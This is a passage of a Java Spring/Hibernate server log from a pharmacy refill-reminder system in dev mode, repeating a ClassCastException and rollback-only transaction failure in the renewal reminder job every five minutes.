org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at 